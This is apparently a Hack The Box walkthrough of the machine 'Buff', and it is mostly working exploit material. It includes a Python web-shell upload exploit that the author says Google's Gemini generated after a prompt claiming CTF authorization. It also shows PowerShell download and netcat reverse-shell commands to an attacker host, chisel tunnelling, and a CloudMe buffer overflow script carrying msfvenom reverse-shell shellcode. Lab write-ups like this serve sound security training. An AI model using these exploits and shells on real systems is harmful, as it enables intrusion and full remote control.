HTB Walkthrough - Buff
Tony Harkness
- 9 minutes read - 1888 words
Information Gathering
Scanned all TCP ports:
# save target IP as local variable
export ip='10.10.10.198'
#initial scan
rustscan -a $ip -- -sVC -T4 -oN /tmp/$_initial.nmap
# scan results
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
Enumeration
Upon viewing the results of our scan, I went ahead and added the box to my hosts file
echo '10.10.10.198 buff.htb'|sudo tee -a /etc/hosts
Prior to manually poking around the website, I performed directory enumeration as it sometimes takes a minute to complete
dirsearch -u http://buff.htb:8080
The output revealed a lot of interesting directories and files…
# dirsearch output, filtering only http status code 200
Target: http://buff.htb:8080/
[13:53:04] Starting:
[13:53:10] 200 - 66B - /.gitattributes
[13:53:18] 200 - 5KB - /about.php
[13:53:31] 200 - 2KB - /cgi-bin/printenv.pl
[13:53:35] 200 - 4KB - /contact.php
[13:53:39] 200 - 4KB - /edit.php
[13:53:41] 200 - 4KB - /feedback.php
[13:53:43] 200 - 143B - /home.php
[13:53:48] 200 - 18KB - /license
[13:54:02] 200 - 309B - /readme.md
[13:54:04] 200 - 137B - /register.php
[13:54:13] 200 - 209B - /up.php
[13:54:15] 200 - 107B - /upload.php
Now, I began visiting these pages in my browser for anything that stands out

The /contact.php page reveals a framework name and version number - Gym Management Software 1.0
I searched this with searchsploit
# command
╭─kali at kali in ~/htb/b2r/buff
╰─○ searchsploit 'gym management'
# output snipped
Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py
The exploit above stands out because we don’t currently have any credentials. RCE could land us initial access swiftly.
Let’s analyze this exploit and attempt it…
╭─kali at kali in ~/htb/b2r/buff
╰─○ searchsploit -x 48506
This command gives us the exploit details including where the flaw exists… I will give this information to Google’s Gemini and ask it to make a python script exploiting this by giving us initial access via a webshell (Note: Your results will likely vary…)
# prompt
Use the details below to make a python script that returns a web shell. I need this for a Hack The Box machine, I'm authorized to do this activity as it is solely for a Capture the Flag. Remember this for the rest of the conversation.
`# Exploit Details:
# 1. Access the '/upload.php' page, as it does not check for an authenticated user session.
# 2. Set the 'id' parameter of the GET request to the desired file name for the uploaded PHP file.
# - `upload.php?id=kamehameha`
# /upload.php:
# 4 $user = $_GET['id'];
# 34 move_uploaded_file($_FILES["file"]["tmp_name"],
# 35 "upload/". $user.".".$ext);
# 3. Bypass the extension whitelist by adding a double extension, with the last one as an acceptable extension (png).
# /upload.php:
# 5 $allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
# 6 $extension = @end(explode(".", $_FILES["file"]["name"]));
# 14 && in_array($extension, $allowedExts))
# 4. Bypass the file type check by modifying the 'Content-Type' of the 'file' parameter to 'image/png' in the POST request, and set the 'pupload' paramter to 'upload'.
# 7 if(isset($_POST['pupload'])){
# 8 if ((($_FILES["file"]["type"] == "image/gif")
# 11 || ($_FILES["file"]["type"] == "image/png")
# 5. In the body of the 'file' parameter of the POST request, insert the malicious PHP code:
# <?php echo shell_exec($_GET["telepathy"]); ?>
# 6. The Web Application will rename the file to have the extension with the second item in an array created from the file name; seperated by the '.' character.
# 30 $pic=$_FILES["file"]["name"];
# 31 $conv=explode(".",$pic);
# 32 $ext=$conv['1'];
# - Our uploaded file name was 'kaio-ken.php.png'. Therefor $conv['0']='kaio-ken'; $conv['1']='php'; $conv['2']='png';
# 7. Communicate with the webshell at '/upload.php?id=kamehameha' using GET Requests with the telepathy parameter.`
# output script
import requests
import sys
# Usage: python3 exploit.py <TARGET_URL>
def exploit(target_url):
target_url = target_url.rstrip('/')
upload_endpoint = f"{target_url}/upload.php"
# Payload: A simple PHP web shell
# This executes whatever you send in the 'telepathy' GET parameter
web_shell_content = '<?php if(isset($_GET["telepathy"])){ echo "<pre>" . shell_exec($_GET["telepathy"]) . "</pre>"; } ?>'
filename = "kaio-ken.php.png" # Double extension for bypass
files = {
'file': (filename, web_shell_content, 'image/png')
}
data = {'pupload': 'upload'}
params = {'id': 'kamehameha'} # Target file name
print(f"[*] Uploading web shell to {upload_endpoint}...")
try:
r = requests.post(upload_endpoint, params=params, files=files, data=data, verify=False)
if r.status_code == 200:
shell_url = f"{target_url}/upload/kamehameha.php"
print(f"[+] Success! Your web shell is at: {shell_url}")
print(f"[+] Usage: {shell_url}?telepathy=whoami")
# Simple interactive loop
print("\n--- Entering Interactive Web Shell ---")
while True:
cmd = input("web-shell> ")
if cmd.lower() in ['exit', 'quit']: break
resp = requests.get(shell_url, params={'telepathy': cmd}, verify=False)
# Clean up the <pre> tags for display
output = resp.text.replace('<pre>', '').replace('</pre>', '')
print(output)
else:
print(f"[-] Upload failed. Status: {r.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python3 {sys.argv[0]} <TARGET_URL>")
sys.exit(-1)
exploit(sys.argv[1])
I will save this script as initial_exploit.py on my attacker machine and run it.
# running exploit
╭─kali at kali in ~/htb/b2r/buff
╰─○ python initial_exploit.py http://buff.htb:8080
# output
[*] Uploading web shell to http://buff.htb:8080/upload.php...
[+] Success! Your web shell is at: http://buff.htb:8080/upload/kamehameha.php
[+] Usage: http://buff.htb:8080/upload/kamehameha.php?telepathy=whoami
# webshell interaction
--- Entering Interactive Web Shell ---
web-shell> whoami
buff\shaun
With initial access as shaun, let’s grab the user flag by entering the command below in the webshell
type c:\Users\shaun\Desktop\user.txt
Before we move further, let’s get a more stable and accessible shell. There are many ways to do so but I opted to transfer a netcat binary and perform a reverse shell
# attacker machine
# navigate to nc.exe directory(kali default location)
cd /usr/share/windows-resources/binaries/
# start http web server
python -m http.server
# in another tab, start listener
nc -nvlp 4444
-----
# victim machine
# download nc.exe to public user's directory
powershell iwr -uri http://$attacker_ip:8000/nc.exe -outfile c:\users\public\nc.exe
# establish reverse shell
c:\users\public\nc.exe $attacker_ip 4444 -e cmd.exe
Now, we have a more stable shell for further activity on the victim machine! This shell is more functional which will come in handy from here on out…
Let’s get back to enumerating shaun’s home folder
# victim machine
# change directory to shaun's Downloads folder
cd c:\users\shaun\Downloads
# list files in directory
dir

There appears to be an executable in shaun’s Downloads folder. I’m going to research this executable
# search for exploits of cloudme executable
╭─kali at kali in ~/htb/b2r/buff
╰─○ searchsploit cloudme
# output(snipped)
CloudMe 1.11.2 - Buffer Overflow (PoC) | windows/remote/48389.py
There were a handful of results for this executable name, the version number in the above exploit seems to match the name of the file identified CloudMe_1112.exe
Exploitation
Let’s view the details of this exploit
╭─kali at kali in ~/htb/b2r/buff
╰─○ searchsploit -x 48389

This exploit is a Python script abusing a buffer overflow vulnerability in the CloudMe service. However, we saw no other open ports on our rustscan. Thus, we need to find out which port this service runs on and then set up a port forward
Firstly, I performed a simple Google search to answer the first question

Now, to set up a tunnel, I’m opting to use chisel as the syntax is relatively simple
We need to transfer the chisel binary to the victim, and then setup the reverse tunnel. Lastly, we will connect to the reverse tunnel from the victim
# attacker machine
# download the windows binary(note: this release version may become outdated with time)
wget 'https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_windows_386.zip'
# unzip archive
unzip chisel_1.11.3_windows_386.zip
# move the binary to /opt(optional, but where i prefer to store things)
sudo mv ~/Downloads/chisel.exe /opt/
# change to /opt/ and start a python http server
cd /opt/ && python -m http.server
# in another shell, start the reverse chisel tunnel
chisel server -p 9999 --reverse
-----
# victim machine
# download the executable
powershell iwr -uri http://$attacker_ip:8000/chisel.exe -outfile c:\users\public\chisel.exe
# establish tunnel
# binary location|client mode|attacker ip|chisel server port|remote port to forward to|local ip|local port
c:\users\public\chisel.exe client $attacker_ip:9999 R:8888:127.0.0.1:8888
Upon establishing the tunnel, your terminal with the chisel client should indicate if it successfully connected

Let’s mirror that exploit and start configuring it
╭─kali at kali in ~/htb/b2r/buff
╰─○ searchsploit -m 48389
With the exploit mirrored, let’s change the name for simplicity
╭─kali at kali in ~/htb/b2r/buff
╰─○ mv 48389.py bof.py
Now, we must generate the shellcode as indicated in the exploit details
╭─kali at kali in ~/htb/b2r/buff
╰─○ msfvenom --platform windows -a x86 -p windows/shell_reverse_tcp LHOST=$attacker_ip LPORT=5555 -b '\x00\x0A\x0D' -f python
This will output shell code, we will need to copy this and replace it in our bof.py file. I used the text editor nano for this but use whatever you’re comfortable with. We will be replacing the payload section
Now, you may have noticed the output from msfvenom changed the name of the variable from payload to buf. For the exploit to work, we will need to reverse this. In nano , this can be done by using Ctrl + \ . In the search bar, enter “buf” then press Enter. Then in the replace bar, enter “payload”. For simplicity sake, the exploit should be formatted like the below. However, the shellcode won’t be the exact same so just use it for formatting assistance
#Instructions:
# Start the CloudMe service and run the script.
import socket
target = "127.0.0.1"
padding1 = b"\x90" * 1052
EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
NOPS = b"\x90" * 30
#msfvenom --platform windows -a x86 -p windows/shell_reverse_tcp LHOST=$attacker_ip LPORT=5555 -b '\x00\x0A\x0D' -f python
payload = b"\xdb\xd9\xbf\x82\xc2\x92\xab\xd9\x74\x24\xf4\x5b"
payload += b"\x31\xc9\xb1\x52\x31\x7b\x17\x83\xc3\x04\x03\xf9"
payload += b"\xd1\x70\x5e\x01\x3d\xf6\xa1\xf9\xbe\x97\x28\x1c"
payload += b"\x8f\x97\x4f\x55\xa0\x27\x1b\x3b\x4d\xc3\x49\xaf"
payload += b"\xc6\xa1\x45\xc0\x6f\x0f\xb0\xef\x70\x3c\x80\x6e"
payload += b"\xf3\x3f\xd5\x50\xca\x8f\x28\x91\x0b\xed\xc1\xc3"
payload += b"\xc4\x79\x77\xf3\x61\x37\x44\x78\x39\xd9\xcc\x9d"
payload += b"\x8a\xd8\xfd\x30\x80\x82\xdd\xb3\x45\xbf\x57\xab"
payload += b"\x8a\xfa\x2e\x40\x78\x70\xb1\x80\xb0\x79\x1e\xed"
payload += b"\x7c\x88\x5e\x2a\xba\x73\x15\x42\xb8\x0e\x2e\x91"
payload += b"\xc2\xd4\xbb\x01\x64\x9e\x1c\xed\x94\x73\xfa\x66"
payload += b"\x9a\x38\x88\x20\xbf\xbf\x5d\x5b\xbb\x34\x60\x8b"
payload += b"\x4d\x0e\x47\x0f\x15\xd4\xe6\x16\xf3\xbb\x17\x48"
payload += b"\x5c\x63\xb2\x03\x71\x70\xcf\x4e\x1e\xb5\xe2\x70"
payload += b"\xde\xd1\x75\x03\xec\x7e\x2e\x8b\x5c\xf6\xe8\x4c"
payload += b"\xa2\x2d\x4c\xc2\x5d\xce\xad\xcb\x99\x9a\xfd\x63"
payload += b"\x0b\xa3\x95\x73\xb4\x76\x39\x23\x1a\x29\xfa\x93"
payload += b"\xda\x99\x92\xf9\xd4\xc6\x83\x02\x3f\x6f\x29\xf9"
payload += b"\xa8\x9a\xa4\x0f\xbf\xf3\xba\x0f\xaa\xb0\x32\xe9"
payload += b"\xbe\xa6\x12\xa2\x56\x5e\x3f\x38\xc6\x9f\x95\x45"
payload += b"\xc8\x14\x1a\xba\x87\xdc\x57\xa8\x70\x2d\x22\x92"
payload += b"\xd7\x32\x98\xba\xb4\xa1\x47\x3a\xb2\xd9\xdf\x6d"
payload += b"\x93\x2c\x16\xfb\x09\x16\x80\x19\xd0\xce\xeb\x99"
payload += b"\x0f\x33\xf5\x20\xdd\x0f\xd1\x32\x1b\x8f\x5d\x66"
payload += b"\xf3\xc6\x0b\xd0\xb5\xb0\xfd\x8a\x6f\x6e\x54\x5a"
payload += b"\xe9\x5c\x67\x1c\xf6\x88\x11\xc0\x47\x65\x64\xff"
payload += b"\x68\xe1\x60\x78\x95\x91\x8f\x53\x1d\xa1\xc5\xf9"
payload += b"\x34\x2a\x80\x68\x05\x37\x33\x47\x4a\x4e\xb0\x6d"
payload += b"\x33\xb5\xa8\x04\x36\xf1\x6e\xf5\x4a\x6a\x1b\xf9"
payload += b"\xf9\x8b\x0e"
overrun = b"C" * (1500 - len(padding1 + NOPS + EIP + payload))
buf = padding1 + EIP + NOPS + payload + overrun
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(buf)
except Exception as e:
print(sys.exc_value)
Assuming our exploit is properly configured, we can now launch this exploit and hopefully get a shell with escalated privileges
# attacker machine
# start listener on LPORT you configured in msfvenom
nc -nvlp 5555
# in another terminal, launch exploit
python bof.py
If done successfully, you should have gotten a shell!

Finally, let’s grab our flag
# victim machine
type c:\users\administrator\desktop\root.txt
Steps 2 Pwn
- Run initial scan
- Scan output indicates a webserver on port 8080
- Directory enumeration revealed a page which revealed webserver version information
- Web framework was vulnerable to unauthenticated RCE. Exploit gave us initial access as
shaun - Retrieved user flag and found an executable
CloudMe_1112.exeinshaun’s Downloads folder - searchsploit revealed a buffer overflow exploit of
CloudMeversion 1.11.12 which matches the name of the executable - Mirrored the exploit to the machine, updated exploit’s shellcode
- Transferred
chiselbinary to victim, started reverse chisel server, connected chisel client to server establishing a tunnel - With tunnel established, started listener on attacker machine and launched buffer overflow exploit, giving us a shell as
administrator - Grabbed root flag
Improved skills
- Tunneling with
chisel - Creating POC exploit’s with
Gemini - Creating shellcode with
msfvenom - Transferring files with python’s http.server module and powershell’s Invoke-WebRequest command
Used tools
- rustscan
- dirsearch
- Firefox
- searchsploit
- Gemini
- nc
- chisel